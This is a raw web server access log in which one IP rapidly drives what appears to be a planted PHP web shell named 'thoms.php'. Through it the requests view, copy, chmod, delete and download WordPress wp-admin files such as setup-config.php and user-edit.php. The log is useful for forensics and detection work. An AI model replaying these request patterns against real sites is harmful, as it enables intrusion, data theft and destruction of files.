45.135.193.11 - - [11/Sep/2026:23:21:56 -0400] "GET /big-wife.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:56 -0400] "GET /thoms.php?chmod=my-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:56 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 200 26261 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:56 -0400] "GET /thoms.php?chmod=upgrade.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:56 -0400] "GET /big-wife.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsite-health-info.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsite-health-info.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?del=import.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28831 "http://163.245.207.76:443/thoms.php?del=import.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?dl=site-health.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /big-wife.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /big-wife.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ffreedoms.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ffreedoms.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 200 12157 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 200 15284 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /big-wife.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:57 -0400] "GET /thoms.php?del=credits.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=credits.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-delete-site.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-delete-site.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 200 12966 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?chmod=includes&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=includes&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?del=options-connectors.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 200 16611 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?del=admin-post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?del=load-scripts.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28857 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?chmod=options-writing.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?del=options-reading.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fplugin-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fplugin-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /big-wife.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 200 14048 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:59 -0400] "GET /thoms.php?del=user-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?dl=import.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=import.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?del=options-permalink.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28823 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?del=options-writing.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28817 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?dl=plugin-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /big-wife.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /big-wife.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?chmod=setup-config.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 200 16105 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?chmod=export.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Finstall-helper.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Finstall-helper.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /thoms.php?dl=export.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28853 "http://163.245.207.76:443/thoms.php?dl=export.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:00 -0400] "GET /big-wife.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?chmod=press-this.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 200 13451 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?del=theme-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?del=upgrade-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /big-wife.com.tw/wp-admin/install.php HTTP/1.1" 200 600 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fwidgets.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fwidgets.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ftools.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ftools.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:01 -0400] "GET /thoms.php?dl=theme-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 200 15215 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?del=includes&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=includes&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?chmod=ms-users.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fpost-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fpost-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsite-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsite-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?dl=network.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=network.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /big-wife.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fasync-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fasync-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fuser-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fuser-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:02 -0400] "GET /thoms.php?dl=update.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=update.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 200 15238 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /big-wife.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink-manager.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink-manager.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 200 13985 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 200 15646 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?chmod=import.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmedia.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmedia.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fnav-menus.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fnav-menus.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?del=setup-config.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
